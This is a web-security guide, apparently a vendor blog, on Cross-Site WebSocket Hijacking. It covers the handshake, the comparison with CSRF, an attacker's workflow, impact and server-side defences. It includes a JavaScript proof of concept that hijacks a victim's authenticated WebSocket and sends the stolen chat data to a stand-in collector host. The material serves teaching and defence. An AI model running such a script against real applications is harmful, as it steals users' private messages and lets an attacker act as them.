What is Cross-Site WebSocket Hijacking (CSWSH)? Ways to Exploit, Examples and Impact
As modern web applications move toward real-time interactivity, the use of WebSockets has become ubiquitous. While WebSockets offer significant performance benefits for chat applications, financial tickers, and live notifications, they also introduce unique security challenges. One of the most critical yet misunderstood vulnerabilities in this space is Cross-Site WebSocket Hijacking (CSWSH). This guide explores what CSWSH is, how it differs from traditional CSRF, and how security professionals can identify and mitigate this risk to protect their infrastructure.
Understanding the WebSocket Protocol
Before diving into the vulnerability itself, it is essential to understand how WebSockets function. Unlike traditional HTTP requests, which are stateless and follow a request-response pattern, WebSockets provide a full-duplex, persistent communication channel over a single TCP connection.
The connection begins with a "WebSocket Handshake." This handshake starts as a standard HTTP GET request from the client to the server, including specific headers that indicate a desire to upgrade the protocol.
The WebSocket Handshake Request
An example of a handshake request looks like this:
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://example.com
Cookie: session=abc123xyz
Sec-WebSocket-Version: 13
If the server supports WebSockets, it responds with an HTTP/1.1 101 Switching Protocols status code. Once this handshake is complete, the HTTP connection is replaced by the WebSocket protocol, allowing both parties to send data frames at any time.
What is Cross-Site WebSocket Hijacking (CSWSH)?
Cross-Site WebSocket Hijacking (CSWSH) is a vulnerability that occurs when a WebSocket handshake is initiated from a malicious site, and the server fails to validate the Origin of the request.
When a user visits a malicious website while logged into a vulnerable application (e.g., bank.com), the malicious site can execute JavaScript that attempts to open a WebSocket connection to bank.com. Because the browser automatically includes the user's session cookies in the handshake request, the server may treat the connection as authenticated. If the server does not verify that the request originated from an authorized domain, the attacker gains a persistent, two-way communication channel with the server on behalf of the victim.
CSWSH vs. CSRF: What’s the Difference?
CSWSH is essentially a variant of Cross-Site Request Forgery (CSRF). In a standard CSRF attack, an attacker forces a victim's browser to perform a single, unauthorized action (like changing a password or transferring funds) via a one-way HTTP request. The attacker usually cannot see the response due to the Same-Origin Policy (SOP).
However, WebSockets are not restricted by the Same-Origin Policy in the same way. The browser allows a script on evil.com to initiate a WebSocket connection to api.example.com. While the browser includes the Origin header to tell the server where the request came from, it does not block the connection from opening. If the server accepts the connection, the attacker’s script can both send messages to and read messages from the server. This bypasses the typical "blind" nature of CSRF, allowing for full data exfiltration.
The Mechanics of a CSWSH Attack
For a CSWSH attack to be successful, several conditions must be met:
- Cookie-Based Authentication: The target application must use cookies (or other browser-managed credentials) to authenticate the WebSocket handshake.
- Lack of Origin Validation: The server must fail to check the
Originheader during the handshake or have a weak validation logic (e.g., checking if the origin contains a certain string rather than an exact match). - Predictable Message Format: The attacker must understand the format of the messages sent over the WebSocket (e.g., JSON or binary) to interact with the application effectively.
Step-by-Step: How to Exploit CSWSH
Exploiting CSWSH involves tricking a victim into visiting a site you control. Here is the general workflow an attacker follows:
1. Identify the WebSocket Endpoint
By monitoring network traffic in browser developer tools, an attacker identifies a WebSocket connection. They look for the 101 Switching Protocols response and note the URL (e.g., wss://victim-app.com/ws/messages).
2. Verify Authentication
The attacker checks if the handshake request includes sensitive cookies. If the connection is established based on these cookies, it is a candidate for hijacking.
3. Test Origin Relaxation
The attacker attempts to initiate the connection from a different domain or a local environment. If the server responds with a 101 status despite the Origin header being http://localhost or http://attacker.com, the endpoint is vulnerable.
4. Craft the Malicious Script
The attacker hosts a script on their domain that opens the connection and sets up event listeners to capture data.
Practical Example: Stealing Sensitive Data via CSWSH
Imagine a private chat application at https://secure-chat.com. When a user logs in, their browser opens a WebSocket to wss://secure-chat.com/api/chat.
An attacker creates a site at http://malicious-site.com with the following JavaScript payload:
// The malicious script hosted on attacker's domain
const socket = new WebSocket('wss://secure-chat.com/api/chat');
socket.onopen = function(event) {
console.log("Connection established! Sending a message to trigger data...");
// Attempt to trigger a dump of recent messages
socket.send(JSON.stringify({ "action": "get_recent_history" }));
};
socket.onmessage = function(event) {
console.log("Data stolen: ", event.data);
// Exfiltrate the stolen data to the attacker's server
fetch('https://attacker-collector.com/log?data=' + btoa(event.data));
};
socket.onerror = function(error) {
console.error("WebSocket Error: ", error);
};
When the victim visits http://malicious-site.com, their browser sends the secure-chat.com session cookies to the WebSocket endpoint. The server sees a valid session and opens the connection. The attacker's script then requests the chat history, and the server obliges, sending private messages directly to the attacker's script, which logs them to an external server.
Why WebSockets Don't Use Same-Origin Policy (SOP)
Beginners often wonder why the browser doesn't block this automatically. The Same-Origin Policy was designed for the request-response model of the early web. When the WebSocket protocol was being standardized, it was decided that WebSockets should allow cross-origin connections to enable the growing trend of cross-domain APIs.
To compensate for the lack of SOP, the protocol designers mandated the Origin header. It is the server's responsibility to check this header and decide whether to allow the connection. If the server-side code ignores this header, the primary defense mechanism is neutralized.
Assessing the Impact of CSWSH
The impact of a successful CSWSH attack can be devastating, often equivalent to a full account takeover. Potential consequences include:
- Information Disclosure: Access to private messages, financial data, or real-time internal system logs.
- Unauthorized Actions: The attacker can send messages as the user, such as placing trades on a stock platform or sending messages in a corporate Slack-like environment.
- Bypassing CSRF Protections: Since WebSockets are often used to bypass traditional REST API limitations, developers may forget to implement CSRF tokens on the WebSocket handshake, making it an easier target than the standard web UI.
How to Prevent Cross-Site WebSocket Hijacking
Preventing CSWSH requires a defense-in-depth approach on the server side. Here are the most effective strategies:
1. Strict Origin Validation
The most critical defense is to validate the Origin header during the HTTP handshake. The server should maintain an allowlist of trusted domains and reject any connection where the Origin header does not match exactly.
Example (Node.js/ws library):
const wss = new WebSocket.Server({
port: 8080,
verifyClient: (info) => {
const origin = info.origin;
const allowedOrigins = ['https://www.example.com', 'https://app.example.com'];
return allowedOrigins.includes(origin);
}
});
2. Use CSRF Tokens
Just like with standard POST requests, you can require a unique, cryptographically strong CSRF token to be sent as a query parameter during the WebSocket handshake. Since an attacker on a different origin cannot read the token from the page (due to SOP), they cannot include a valid token in the handshake URL.
wss://example.com/chat?token=7b9e9a3...
3. SameSite Cookie Attributes
Setting the SameSite attribute on your session cookies to Strict or Lax provides a powerful layer of defense.
- SameSite=Strict: The cookie is only sent if the request originates from the same site where the cookie was set.
- SameSite=Lax: The cookie is sent on top-level navigations but not on cross-site subrequests (like WebSocket handshakes initiated by a script).
4. Avoid Cookie-Based Auth for WebSockets
Consider using short-lived, one-time-use tokens for WebSocket authentication. After the user logs in via standard HTTP, the server generates a random token. The client-side JS retrieves this token and passes it in the WebSocket sub-protocol or as a query parameter. This removes the reliance on automatic browser-managed cookies.
Conclusion
Cross-Site WebSocket Hijacking is a potent vulnerability that leverages the inherent cross-origin nature of the WebSocket protocol. By failing to validate the Origin header or implement CSRF protections, developers accidentally open a backdoor for attackers to hijack user sessions and exfiltrate real-time data. Understanding the handshake process and implementing strict server-side checks is essential for any modern web application.
To proactively monitor your organization's external attack surface and catch exposures like CSWSH before attackers do, try Jsmon.